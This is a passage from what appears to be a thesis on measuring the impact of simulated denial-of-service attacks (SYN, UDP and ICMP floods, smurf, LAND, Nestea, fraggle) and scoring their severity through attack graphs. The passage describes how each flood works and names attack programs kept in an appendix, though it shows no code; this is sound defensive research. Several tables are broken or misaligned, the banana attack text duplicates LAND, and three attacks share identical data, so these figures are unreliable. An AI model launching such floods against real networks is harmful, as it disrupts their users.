<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
</tr>
<tr>
<td>NW BW Usage</td>
<td>1.00</td>
<td>6.40</td>
<td>22.00</td>
<td>22.00</td>
<td>25.00</td>
<td>46.75</td>
<td>52.10</td>
<td>76.50</td>
<td>76.50</td>
<td>76.50</td>
<td>76.50</td>
</tr>
</tbody>
</table>

Figure 2.9. Performance of various parameters when under TCP_SYN attack.

**UDP Flood Attack.** In a UDP attack, numerous UDP packets flood the attacked system. In this simulation, using the program *udpflood.c* (available in Appendix B), Eve sends UDP packets to Adam. Since the packets have spoofed source IP addresses and are directed towards random ports, thus generating *ICMP Destination Unreachable* messages that flood the network. Adam allocates CPU and memory resources to process each of the received packets. UDP packets
also saturate the network; hence, Mary is also not able to communicate with Adam after a certain point. Figure 2.10 shows the communication state of the systems after the attack is launched.

**UPD Flood Attack Experiment Results.** Table 2.7 shows the change in performance metric values during the attack. Figure 2.11 shows the values of various parameters over a period of time when the system is under a UDP flood attack.

![Diagram](image)

1. A number of UDP packets are sent by from Eve to Adam with spoofed IP Addresses. The packets are directed towards random ports.
2. In response Adam sends back **ICMP Destination Unreachable** packets.
3. Adam does not accept authenticated connection from Mary after some time.

Netperf Client is not able to communicate with the Netperf Server

Figure 2.10. Systems unable to communicate after the UDP flood attack is launched.

**Table 2.7. Performance Metric Values During UDP Flood Attack.**

<table>
<thead>
<tr>
<th>Parameters/Time(in mins)</th>
<th>Root</th>
<th>0</th>
<th>15</th>
<th>30</th>
<th>45</th>
<th>60</th>
<th>75</th>
<th>90</th>
<th>105</th>
<th>120</th>
<th>135</th>
<th>150</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPU Usage (%)</td>
<td>45.00</td>
<td>47.00</td>
<td>49.00</td>
<td>51.00</td>
<td>53.00</td>
<td>55.00</td>
<td>57.00</td>
<td>57.00</td>
<td>57.00</td>
<td>59.00</td>
<td>59.00</td>
<td>59.00</td>
</tr>
<tr>
<td>Memory Usage (%)</td>
<td>45.15</td>
<td>46.34</td>
<td>49.01</td>
<td>51.90</td>
<td>53.45</td>
<td>55.90</td>
<td>57.67</td>
<td>58.18</td>
<td>61.00</td>
<td>62.56</td>
<td>63.65</td>
<td></td>
</tr>
<tr>
<td>Disk Usage (%)</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
</tr>
<tr>
<td>NW BW Usage</td>
<td>1.00</td>
<td>6.65</td>
<td>7.57</td>
<td>15.00</td>
<td>21.14</td>
<td>45.29</td>
<td>56.55</td>
<td>73.97</td>
<td>91.42</td>
<td>93.56</td>
<td>100.00</td>
<td></td>
</tr>
</tbody>
</table>
**ICMP Flood Attack.** In this attack, the attacker sends lots of ICMP echo request packets to the victim. In this simulation, using the *Netinjector* tool (available in Appendix B), *Eve* sends out lots of *ICMP echo request* packets to *Adam*. CPU and memory resources process these *ICMP echo requests* by *Adam*. Since the source IP address is spoofed, *ICMP echo request* and *ICMP destination unreachable* packets flood the network. Thus, after some time, *Mary* is not able to communicate with *Adam*. Figure 2.12 shows the communication state of the systems after the attack is launched.

**ICMP Flood Attack Experiment Results.** Table 2.8 shows the change in performance metric values during the attack. Figure 2.13 shows the values of various parameters over a period of time when the system is under an ICMP flood attack.
Figure 2.12. Systems unable to communicate after ICMP flood attack is launched.

Table 2.8. Performance Metric Values During ICMP Flood Attack.

<table>
<thead>
<tr>
<th>Login Parameters/Time (in mins)</th>
<th>0</th>
<th>15</th>
<th>30</th>
<th>45</th>
<th>60</th>
<th>75</th>
<th>90</th>
<th>105</th>
<th>120</th>
<th>135</th>
<th>150</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPU Usage (%)</td>
<td>40.01</td>
<td>40.80</td>
<td>41.02</td>
<td>41.32</td>
<td>41.35</td>
<td>41.50</td>
<td>41.55</td>
<td>41.75</td>
<td>41.90</td>
<td>42.01</td>
<td>42.20</td>
</tr>
<tr>
<td>Memory Usage (%)</td>
<td>48.77</td>
<td>48.90</td>
<td>49.42</td>
<td>49.51</td>
<td>49.88</td>
<td>49.84</td>
<td>49.54</td>
<td>49.57</td>
<td>50.26</td>
<td>51.23</td>
<td>52.99</td>
</tr>
<tr>
<td>Disk Usage (%)</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
</tr>
<tr>
<td>NW BW Usage</td>
<td>1.00</td>
<td>4.04</td>
<td>21.90</td>
<td>21.90</td>
<td>25.00</td>
<td>46.75</td>
<td>52.11</td>
<td>54.42</td>
<td>57.50</td>
<td>58.56</td>
<td>58.57</td>
</tr>
</tbody>
</table>
**Smurf Attack.** In this is a type of attack, the attacker sends a lot of *ICMP echo request* packets to the broadcast address of the victim’s network with the victim’s IP address as the source IP address. In this simulation, using the program `smurf.c` (available in Appendix B), Eve sends the *ICMP echo request* packets to 192.168.255.255 which is the broadcast address of Adam’s network. Once the router receives these packets, it forwards them to all the machines in the network. Since the packets have Adam’s IP address, *ICMP echo reply* packets are directed towards Adam. These packets flood the network while the CPU and memory resources of Adam process each of them. Figure 2.14 shows the communication state of the systems when under attack.

**Smurf Attack Experiment Results.** Table 2.9 shows the changes in performance metric values during the attack. Figure 2.15 shows the values of various parameters over a period of time when the system is under a smurf attack.
Table 2.9. Performance Metric Values During Smurf Attack.

<table>
<thead>
<tr>
<th>Login Parameters/Time (in mins)</th>
<th>0</th>
<th>15</th>
<th>30</th>
<th>45</th>
<th>60</th>
<th>75</th>
<th>90</th>
<th>105</th>
<th>120</th>
<th>135</th>
<th>150</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPU Usage (%)</td>
<td>30.86</td>
<td>31.59</td>
<td>32.43</td>
<td>32.50</td>
<td>32.55</td>
<td>32.90</td>
<td>33.09</td>
<td>33.58</td>
<td>34.06</td>
<td>34.18</td>
<td>34.50</td>
</tr>
<tr>
<td>Memory Usage (%)</td>
<td>49.85</td>
<td>50.36</td>
<td>50.89</td>
<td>51.55</td>
<td>52.20</td>
<td>52.23</td>
<td>53.10</td>
<td>53.21</td>
<td>53.35</td>
<td>53.87</td>
<td>54.75</td>
</tr>
<tr>
<td>Disk Usage (%)</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
</tr>
<tr>
<td>NW BW Usage (%)</td>
<td>1.00</td>
<td>14.37</td>
<td>22.34</td>
<td>39.87</td>
<td>52.19</td>
<td>75.43</td>
<td>78.43</td>
<td>89.26</td>
<td>90.75</td>
<td>92.66</td>
<td>97.55</td>
</tr>
</tbody>
</table>

Figure 2.14. Systems unable to communicate after smurf attack is launched.
LAND Attack. In this attack, the attacker sends TCP_SYN packets with the target’s IP Address and port as the source and destination address. In this simulation, using the program land.c (available in Appendix B), Eve sends out TCP_SYN packets to Adam with the source and destination address as that of Adam’s IP Address. Hence Adam continues to send TCP_SYN packets and receive corresponding replies to in a loop, thus causing CPU and Memory to be exhausted. The Network is flooded with TCP_SYN packets and replies not allowing Mary to communicate with Adam after some time. Figure 2.16 shows the communication state of the systems once the attack is launched.

LAND Attack Experiment Results. Table 2.10 shows the change in performance metric values during the attack. Figure 2.17 shows the values of various parameters over a period of time when the System is under a LAND attack.
Figure 2.16. Systems unable to communicate after LAND attack is launched.

Table 2.10. Performance Metric Values During LAND Attack.

<table>
<thead>
<tr>
<th>Login Parameters/Time (in mins)</th>
<th>0</th>
<th>15</th>
<th>30</th>
<th>45</th>
<th>60</th>
<th>75</th>
<th>90</th>
<th>105</th>
<th>120</th>
<th>135</th>
<th>150</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPU Usage (%)</td>
<td>30.86</td>
<td>31.59</td>
<td>32.43</td>
<td>32.50</td>
<td>32.55</td>
<td>32.90</td>
<td>33.09</td>
<td>33.58</td>
<td>34.06</td>
<td>34.18</td>
<td>34.50</td>
</tr>
<tr>
<td>Memory Usage (%)</td>
<td>49.85</td>
<td>50.36</td>
<td>50.89</td>
<td>51.55</td>
<td>52.20</td>
<td>52.23</td>
<td>53.10</td>
<td>53.21</td>
<td>53.35</td>
<td>53.87</td>
<td>54.75</td>
</tr>
<tr>
<td>Disk Usage (%)</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
</tr>
<tr>
<td>NW BW Usage</td>
<td>1.00</td>
<td>14.37</td>
<td>22.34</td>
<td>39.87</td>
<td>52.19</td>
<td>75.43</td>
<td>78.43</td>
<td>89.26</td>
<td>90.75</td>
<td>92.66</td>
<td>97.55</td>
</tr>
</tbody>
</table>
Nestea Attack. This attack exploits the overlapping IP fragment bug which exists in Linux operating systems. In this simulation, using the program nestea.c (available in Appendix B), Eve sends out IP packets to Adam with a spoofed source IP address. The sizes of the IP packets are bigger than the size specified by the standard. The packets become defragmented while moving across the network. Adam tries to reassemble the packets once it receives them which almost causes it to crash. Since a lot of CPU and memory resources go into processing the packets, any request from Mary is not processed, thus causing a denial of service attack. Figure 2.18 shows the communication state of the systems once the attack is launched.

Nestea Attack Experiment Results. Table 2.11 shows the changes in performance metric values during the attack. Figure 2.19 shows the values of various parameters over a period of time when the system is under a Nestea attack.
Figure 2.18. Systems unable to communicate after Nesta attack is launched.

Table 2.11. Performance Metric Values During Nesta Attack.

<table>
<thead>
<tr>
<th>Login Parameters/Time (in mins)</th>
<th>0</th>
<th>15</th>
<th>30</th>
<th>45</th>
<th>60</th>
<th>75</th>
<th>90</th>
<th>105</th>
<th>120</th>
<th>135</th>
<th>150</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPU Usage (%)</td>
<td>46.86</td>
<td>51.59</td>
<td>52.43</td>
<td>52.50</td>
<td>53.55</td>
<td>53.90</td>
<td>54.09</td>
<td>54.58</td>
<td>55.06</td>
<td>56.18</td>
<td>57.50</td>
</tr>
<tr>
<td>Memory Usage (%)</td>
<td>46.30</td>
<td>50.50</td>
<td>50.73</td>
<td>51.65</td>
<td>51.91</td>
<td>52.25</td>
<td>52.74</td>
<td>53.60</td>
<td>53.77</td>
<td>53.86</td>
<td>54.03</td>
</tr>
<tr>
<td>Disk Usage (%)</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
</tr>
<tr>
<td>NW BW Usage</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
</tr>
</tbody>
</table>
Banana Attack. In this attack, the attacker sends TCP_SYN packets with the target’s IP address and port as the source and destination address. In this simulation, using the program land.c (available in Appendix B), Eve sends out TCP_SYN packets to Adam with the source and destination address as that of Adam’s IP address. Hence, Adam continues to send TCP_SYN packets and receive corresponding replies in a loop, thus exhausting CPU and memory. The TCP_SYN packets and replies flood the network, thus disallowing Mary to communicate with Adam after some time. Figure 2.20 shows the communication state of the systems once the attack is launched.

Banana Attack Experiment Results. Table 2.12 shows the changes in performance metric values during the attack. Figure 2.21 shows the values of various parameters over a period of time when the system is under a banana attack.
Figure 2.20. Systems unable to communicate after banana attack is launched.

Table 2.12. Performance Metric Values During Banana Attack.

<table>
<thead>
<tr>
<th>Login Parameters/Time (in mins)</th>
<th>0</th>
<th>15</th>
<th>30</th>
<th>45</th>
<th>60</th>
<th>75</th>
<th>90</th>
<th>105</th>
<th>120</th>
<th>135</th>
<th>150</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPU Usage (%)</td>
<td>30.86</td>
<td>31.59</td>
<td>32.43</td>
<td>32.50</td>
<td>32.55</td>
<td>32.90</td>
<td>33.09</td>
<td>33.58</td>
<td>34.06</td>
<td>34.18</td>
<td>34.50</td>
</tr>
<tr>
<td>Memory Usage (%)</td>
<td>49.85</td>
<td>50.36</td>
<td>50.89</td>
<td>51.55</td>
<td>52.20</td>
<td>52.23</td>
<td>53.10</td>
<td>53.21</td>
<td>53.35</td>
<td>53.87</td>
<td>54.75</td>
</tr>
<tr>
<td>Disk Usage (%)</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
<td>83.00</td>
</tr>
<tr>
<td>NW BW Usage</td>
<td>1.00</td>
<td>14.37</td>
<td>22.34</td>
<td>39.87</td>
<td>52.19</td>
<td>75.43</td>
<td>78.43</td>
<td>89.26</td>
<td>90.75</td>
<td>92.66</td>
<td>97.55</td>
</tr>
</tbody>
</table>
Figure 2.2. Performance of parameters when under banana attack.

**ICMP Echo Reply Attack.** In this attack, the attacker sends a lot of ICMP echo request packets to a set of machines within a network. In these packets, the IP address of the target is set as the source IP address. Using the program icmpreplay.c, Eve sends out a number of ICMP echo reply packets to Adam with a forged source IP address. This exhausts the network bandwidth, thus not allowing Mary to make an authenticated connection to Adam. The attack uses up CPU and memory resources. Figure 2.22 shows the communication state of the systems once the attack is launched.

**ICMP Echo Reply Attack Experiment Results.** Table 2.13 shows the change in Performance metric values during the attack. Figure 2.23 shows the values of various parameters over a period of time when the system is under an ICMP echo reply attack.
Figure 2.22. Systems unable to communicate after ICMP echo reply attack is launched.

Netperf Client is not able to communicate with the Netperf Server

Table 2.13. Performance Metric Values During ICMP Echo Reply Attack.

<table>
<thead>
<tr>
<th>Login</th>
<th>Root</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Parameters/Time(in mins)</td>
<td></td>
</tr>
<tr>
<td>CPU Usage (%)</td>
<td>0</td>
</tr>
<tr>
<td>Memory Usage (%)</td>
<td>38.21</td>
</tr>
<tr>
<td>Disk Usage (%)</td>
<td>37.70</td>
</tr>
<tr>
<td>NW BW Usage</td>
<td>83.00</td>
</tr>
<tr>
<td>NW BW Usage</td>
<td>1.00</td>
</tr>
</tbody>
</table>
Figure 2.23. Performance of various parameters when under ICMP echo reply attack.

Fraggle Attack. In this is a type of attack, the attacker sends a lot of *UDP Echo* packets with a forged source IP address to the broadcast address of the victim’s network. In this simulation, using the program `fraggle.c` (available in Appendix B), Eve sends the *UDP echo* packets to 192.168.255.255, the broadcast address of *Adam’s* network. Once the router receives these packets, it forwards them to all the machines in the network. Since the source IP address is forged, *ICMP destination unreachable* packets flood the network, while the CPU and memory Resources of *Adam* process each of them. Figure 2.24 shows the communication state of the systems when under attack.

Fraggle Attack Experiment Results. Table 2.14 shows the changes in performance metric values during the attack. Figure 2.25 shows the values of various parameters over a period of time when the system is under a fraggle attack.
Figure 2.24. Systems unable to communicate after fraggle attack is launched.

Table 2.14. Performance Metric Values During Fraggle Attack.

<table>
<thead>
<tr>
<th>Login</th>
<th>Root</th>
<th>Parameters/Time (in mins)</th>
<th>CPU Usage (%)</th>
<th>Memory Usage (%)</th>
<th>Disk Usage (%)</th>
<th>NW BW Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>0</td>
<td>15</td>
<td>30</td>
<td>45</td>
<td>60</td>
</tr>
<tr>
<td></td>
<td></td>
<td>40.3</td>
<td>40.6</td>
<td>41.0</td>
<td>41.20</td>
<td>41.35</td>
</tr>
<tr>
<td></td>
<td></td>
<td>50.4</td>
<td>52.0</td>
<td>52.6</td>
<td>52.77</td>
<td>52.91</td>
</tr>
<tr>
<td></td>
<td></td>
<td>83.0</td>
<td>83.0</td>
<td>83.0</td>
<td>83.00</td>
<td>83.00</td>
</tr>
<tr>
<td></td>
<td></td>
<td>100.0</td>
<td>100.0</td>
<td>100.0</td>
<td>100.00</td>
<td>100.00</td>
</tr>
</tbody>
</table>
2.3 Observations of the Impact of the Attacks

The experimental result graph for each of the simulated attacks shows how the various identified performance metrics of the system/network behave over a period of time while under attack. The graphs clearly show that while under a network attack, CPU, memory, and network bandwidth utilization increases linearly. There is no impact on disk utilization. However, for system attacks, only CPU and memory usage increase linearly, thus impacting the performance of the system under attack. It is also observed that disk space is not affected during the attack. Network attacks are more prone to denial of service attacks [1][12]. Once the attack stops, the network bandwidth is released for further communication among the systems, but CPU and memory resources are not released unless they are booted again. The attacked system needs to be rebooted to release the resources.
CHAPTER 3
IMPACT ANALYSIS ALGORITHM AND CALCULATION OF IMPACT SEVERITY PERCENTAGE

The impact of any attack is visible through the degradation in performance of its target which is directly proportional to the identified performance metric values over the attack period. The impact severity percentage identifies the severity of a future attack, which is calculated as a percentage of the severity of the impact of simulated attacks. This chapter presents both a generalized function for computing the impact severity percentage and an algorithm for analyzing the impact of a novel attack.

3.1 Function Definition for Mapping Novel Attacks to Simulated Attacks

There is a need to normalize the usage of the identified performance metrics when under the simulated attack as well as when under the new attack. The normalization helps in calculating the impact severity percentage across multiple systems. In a complex network, there is a high possibility that there will be multiple attack targets. Hence it is highly desirable to prioritize the impact of the attacks by the network officials so that they can be handled accordingly. This can be achieved by multiplying the identified performance metrics for each of the components in the network by a priority factor when calculating their individual usage during simulation as well as during a new attack. Also, each of the identified performance metrics is represented by a different unit which makes it difficult to interpret the overall usage that directly relates to the impact of the attack. Since the impact also needs to be prioritized hence, each of the component in the equation stated below are multiplied by a unit priority value with the cancellation terms.

For this research, the impact of a new attack is restricted to a single system. Hence priority factor as well as priority value is assigned a value one.
The impact of the attack on the target is a function of the attack’s impact on each of the identified performance metrics. This function takes into account the following assumptions:

3.1.1 Assumptions

- The severity of an attack is based on the usage of the resources during the attack. Thus, as the attack increases, the usage also increases.
- Parameters, such as the amount of CPU, memory, disk and network bandwidth, used during the attack are available.
- The threshold values of the system and network are available.
- The values of various parameters affected over the period of time are also available.
- The aforementioned resources are not used before the attack.
- Impact of an attack is directly proportional to the amount of resources that are used during the attack.

3.1.2 Function Definition

This section provides more specifics as to how the impact factors of the novel attack are generated. For the purpose of analysis, the function takes into account the following performance parameters:

- CPU usage
- Memory usage
- Disk usage
- Network bandwidth usage

The threshold values of the attacked system and network are the values before the attack and are represented as follows:

- Let the availability of the resources of the attacked system be defined as:
  \[ AV_{CPU} \]: Amount of CPU available for usage in GHZ
  \[ AV_{MEM} \]: Amount of memory available for usage in GB
AV_{DSK}: Amount of disk available for usage in GB

AV_{NW}: Amount of network available for usage in Mbps.

- Let the values of the above parameters for the simulated attack for time period T1 minutes be defined as:
  
  \( S_{CPU}: \% \) CPU usage by simulated attack
  
  \( S_{MEM}: \% \) memory usage by simulated attack
  
  \( S_{DSK}: \% \) disk usage by simulated attack
  
  \( S_{NW}: \) Network bandwidth available by simulated attack (in Mbps)

- Let the Priority Factor be defined as:
  
  \( PF: \) Priority Factor which is assigned a value 1.

- Let the Priority value for each of the parameters be defined as follows:
  
  \( CPU_{PRIORITY\_VALUE} = 1 \text{ min/GHz} \)
  
  \( MEMORY_{PRIORITY\_VALUE} = 1 \text{ min/GHz} \)
  
  \( DISK_{PRIORITY\_VALUE} = 1 \text{ min/GHz} \)
  
  \( NWBANDWIDTH_{PRIORITY\_VALUE} = 1 \text{ min/Hz} \)

- Let the usages of the above parameters for the simulated attack in T1 minutes be defined as:
  
  \( US_{CPU} = (AV_{CPU} \times S_{CPU} \times PF \times CPU_{PRIORITY\_VALUE}) / T1 \)
  
  \( US_{MEM} = (AV_{MEM} \times S_{MEM} \times PF \times MEMORY_{PRIORITY\_VALUE}) / T1 \)
  
  \( US_{DSK} = (AV_{DSK} \times S_{DSK} \times PF \times DISK_{PRIORITY\_VALUE}) / T1 \)
  
  \( US_{NW} = ((AV_{NW} - S_{NW}) \times PF \times NWBANDWIDTH_{PRIORITY\_VALUE}) / T1 \)

- Total resources used by the simulated attack (\( AS_{TOTAL} \)) in T1 minutes is as follows:
  
  \( US_{TOTAL} = US_{CPU} + US_{MEM} + US_{DSK} + US_{NW} \) \hspace{1cm} \text{Equation (1)}

- Let the values of the identified parameters for a novel attack for a time period T2 minutes be defined as:
  
  \( N_{CPU}: \% \)CPU usage by novel attack
  
  \( N_{MEM}: \% \)memory usage by novel attack
\( N_{DSK} \): % Disk Usage by Novel Attack

\( N_{NW} \): Network Bandwidth available by Simulated Attack (in Mbps)

- Let the usages of the above parameters for the novel attack in T2 minutes be defined as:
  \[
  U_{N_{CPU}} = \frac{(AV_{CPU} \times N_{CPU} \times PF \times CPU_{PRIORITY\_VALUE})}{T2} 
  \]
  \[
  U_{N_{MEM}} = \frac{(AV_{MEM} \times N_{MEM} \times PF \times MEMORY_{PRIORITY\_VALUE})}{T2} 
  \]
  \[
  U_{N_{DSK}} = \frac{(AV_{DSK} \times N_{DSK} \times PF \times DISK_{PRIORITY\_VALUE})}{T2} 
  \]
  \[
  U_{N_{NW}} = \frac{(AV_{NW} - N_{NW}) \times PF \times NW_{BANDWIDTH_{PRIORITY\_VALUE}}}{T2} 
  \]

- Total resource usage by the novel attack in T2 minutes is as follows:
  \[
  U_{N_{TOTAL}} = U_{N_{CPU}} + U_{N_{MEM}} + U_{N_{DSK}} + U_{N_{NW}} 
  \]

Equation (2)

Thus, the impact severity percentage calculation is as follows:

\[
\left( \frac{U_{N_{TOTAL}}}{US_{TOTAL}} \right) \times 100 
\]

Equation (3)

The severity of the attack’s impact is measured by the rate at which the resources are being used. Hence, the measurements should be in such a format that represents the amount of consumption of the resources as well being comprehensible to the analyst. Hence, the network bandwidth usage is measured in Mbps. Memory usage and disk usage are measured in GB/min which indicates the amount of storage-based resources being used if the attack continues. For CPU resources, a typical usage based on CPU load is acquired, which has a value of 0 for no load and a value of 1 for the full-time usage of one equivalent CPU. A difficulty arises, however, since CPU load is not directly related to other CPUs. Thus, to generalize the same here, there is a need to map the CPU load to an indicator of that CPU’s capability. Here, it is mapped to the speed of the CPU, GHz, essentially indicating how much of the available processing power would be consumed by the attack. Another option would be to map to the MFLOPS rating of the processor, but this is less accessible and can be even more misleading since the attacks are not going to be optimized for efficiency of instruction usage.

### 3.2 Impact Analysis Algorithm

The impact analysis algorithm states the procedure for detecting when a system/network...
is under attack along with the calculation of the impact severity percentage. It is as follows:

1. The resource availability values signify that the systems are functioning to their full potential. Make available such values for each of the identified performance metrics of the target machine.

2. Create the attack database by simulating a set of known attacks and populating the database with the amount of resources used while the system was under attack as well as with the resource availability values.

3. Attack graphs are used to detect the attacks as well as to map the attacks to various simulated attacks in the database. Chapter 5 discusses this in more detail. Once the attack is mapped to a simulated attack, calculate the resource usage using Equation 1.

4. The detection goes in a stepwise manner:
   - Check the network bandwidth for an increase in the number of packets of a particular type. An increase in a particular type of protocol can signify an attack.
   - Check the CPU usage for an increase in usage against the optimal value. A very high rate of increase signifies an attack.
   - Check the memory usage for an increase in usage. A very high increase signifies an attack.
   - Check the disk usage for an increase in usage. A very high rate of increase signifies an attack.

5. While the attack is in progress, use Equation 2 to calculate the total resource usage.

6. Use Equation 3 to calculate the impact severity percentage.
Detecting new attacks is difficult, particularly when one is in action. Nonetheless, having a method of predicting the impact of a new attack is highly desirable. This chapter presents an automated approach to performing impact analysis of system and network attacks. The proposed method incorporates attack graphs for analyzing the impact of a new attack on a live network. The approach is based on the assumption that the new attack is similar to already existing attacks. Attack graphs [14] can be used for identifying a sequence of steps that make the attack detection easy. They can be extended to map an existing attack with the new attack and finally compute the impact severity percentage for the system/network under attack, as stated in Chapter 4.

4.1 Attack Graph

An attack graph is a graph-based approach to system/network vulnerability analysis. It provides a graphical representation of how an attack progresses in a given system or network. An attack graph represents all the attack paths which if successful, would allow the attacker to successfully exploit the target. Each node of the attack graph represents a possible attack state. The graph also includes system states, such as level of penetration by the attacker and the configuration changes achieved on the physical machine(s). The edges represent the change of state that occurs due to the action taken by the attacker. An attack graph can also include conditions that made the attack step successful.

It is possible to use these graphs for predicting the impact of a new attack since they are based on the assumption that new attacks bear a similarity to the existing attacks. Such a prediction can be made by constructing attack templates of the simulated attacks, preparing configuration files of the systems that are possible targets of the attack and an attacker’s profile for the known attacks. These can be used in constructing attack graphs for new attacks.
Philips and Swiler [14] suggest using attack graphs for network vulnerability analysis. My approach in using attack graphs for the predicting the impact of a novel attack runs along similar lines. However, my method assumes that a successful attack follows a series of steps, and the success of each step is followed by an impact on the metrics that contributes to the performance of the system/network. Attack graphs make this information along with the impact severity percentage readily available. I call these graphs used for impact analysis as impact analysis graphs. The input required for such a graph is an attack template, configuration file, and attacker’s profile. Section 4.2 describes the representation of an impact analysis graph.

Once the attack is successful, the impact of the attack is made visible on the identified metrics. A database is created that includes the simulated attacks broken down into several atomic steps, the corresponding condition for the attack to be successful, as well as its impact. Section 4.3 provides the details of preparing the configuration file and the attacker’s profile. Section 4.4 provides the details of the attack template along with templates for each of the simulated attacks. With each successful attack step, the corresponding values of the identified metrics are also obtained. Since the mapping is performed using the information in the attack template, it is possible to calculate the impact severity percentage at the same time and make it available in the graph.

4.2 Representation of the Impact Analysis Graph

A set of nodes connected with arcs as edges represent an impact analysis graph. Each of the nodes represents the attack state and the impact state. The attack state represents the actions taken by the attacker, the machine name, and user level access required for the attack to be successful. The impact state represents the results of the action taken by the attacker. The nodes connect to each other through directed edges. If there is an edge from node u to node v, the originating point is called the tail of the edge, and the ending point is called the head of the edge. Each edge consists of the condition required to have the attack step successful, which is marked
on the left part of the edge. The right part of the edge consists of the impact of the attack step followed by the impact severity percentage. (See Figure 5.4.)

An attack progresses in a series of steps, and a set of conditions triggers each step. Once the attack step is done, the impact of the attack appears in the identified metrics. For each of the simulated attacks, the attacks are broken down into individual attack steps. Table 4.1 provides the conditions and the impact of the attack along with the attack steps. The use of attack graphs for attack impact prediction is a novel approach. To clearly show the approach of incorporating the use of attack graphs for attack impact prediction, the following assumptions have been made:

- The attack impact is considered for a single machine which is the target machine and not on other network devices such as routers.
- The network consists of two machines: a target and a client machine.
- The target machine in the table below is always referred to as machine.

### 4.3 Configuration File and Attacker’s Profile

The attacker designs an attack with the aim of exploiting a particular vulnerability and with certain features of the target in mind. The configuration file consists of information about machines that are potential targets for an attack. This file gives all information required for the attack to be successful, such as the operating system, firewall state, services enabled, type of machine which for our purposes is a workstation, ports enabled, and type of users available in the machine, along with the availability of an intrusion detection system. A sample configuration file is provided below with the required information.

- **Machine Class:** Workstation

- **Hardware Type:** Intel Pentium II

- **Operating System:**
  a. Fedora Core 8 with patches
  b. Windows XP
- **Users**: Root, Normal User
- **Ports**: Enabled
- **Services**: Enabled and Root level access
- **Intrusion Detection System**: Disabled
- **Firewall**: Installed and disabled.

Generating the configuration file has some limitation. For the purposes of this project, these files are generated by hand since the network is small and the impact analysis is limited to a single machine. However, for an analysis of many machines in a complex network, such an approach would be tedious and error prone. Hence, this particular aspect of automatic generation of configuration files is an area for future work. Predicting human behavior is difficult, so knowing how the attacker will move from one step to the next is problematic. Hence, recording such information in the profile file is futile. However, for the attack to be successful, certain tools are necessary to launch the attack. Also, the attacker may need access privileges to reach the target machine. Such information is provided in the attacker’s profile.

**4.4 Attack Templates**

Each of the attacks is a sequence of steps, and each step’s success depends on the fulfillment of a particular condition. Attack templates consist of the simulated attacks broken down into a sequence of steps. The attack template also includes the condition for each of the attack step to be successful along with the impact of the attack step. Each node in the attack template is distinguishable and consists of specific information, as mentioned below. Each edge represents a change in the state of the system/network under attack such as filling of TCP queue, flooding the network with SYN_RCVD packets, etc. Figure 4.1 shows a sample template for one of the simulated attacks.
<table>
<thead>
<tr>
<th>Attack Type</th>
<th>Attack Steps</th>
<th>Condition</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>TCP_SYN</td>
<td>Attacker sends multiple TCP_SYN requests to the machine from spoofed IP addresses</td>
<td>The Firewall is disabled. The tcp_syncookies is disabled.</td>
<td>Network Bandwidth decreases.</td>
</tr>
<tr>
<td></td>
<td>A lot of SYN_RCVD packets are sent out by the machine.</td>
<td>The Firewall is disabled. The tcp_syncookies is disabled.</td>
<td>Network Bandwidth decreases.</td>
</tr>
<tr>
<td></td>
<td>The network of the machine is flooded with TCP_SYN and SYN_RCVD packets</td>
<td>The Firewall is disabled. The tcp_syncookies is disabled.</td>
<td>Network Bandwidth decreases.</td>
</tr>
<tr>
<td></td>
<td>The network of the machine is flooded with TCP_SYN and SYN_RCVD packets</td>
<td>The Firewall is disabled. The tcp_syncookies is disabled.</td>
<td>Network Bandwidth decreases.</td>
</tr>
<tr>
<td></td>
<td>The network of the machine is flooded with TCP_SYN and SYN_RCVD packets</td>
<td>The Firewall is disabled. The tcp_syncookies is disabled.</td>
<td>Network Bandwidth decreases.</td>
</tr>
<tr>
<td>UDP Flood</td>
<td>Attacker sends UDP packets from spoofed IP Addresses to random ports of the machine</td>
<td>The Firewall is disabled. The Router is not configured with any filters</td>
<td>Network Bandwidth decreases.</td>
</tr>
<tr>
<td></td>
<td>The machine replies back with ICMP Destination Unreachable packets</td>
<td>The Firewall is disabled. The Routers is not configured with any filters</td>
<td>Network Bandwidth decreases.</td>
</tr>
<tr>
<td>ICMP Flood</td>
<td>Attacker sends ICMP Echo packets to the Router’s broadcast address with source IP Address as the machine address.</td>
<td>The Router is configured for “Directed Broadcasts”. The Firewall is disabled. Client machine and the Router is not configured to deny broadcast ICMP_ECHO_REQUESTS.</td>
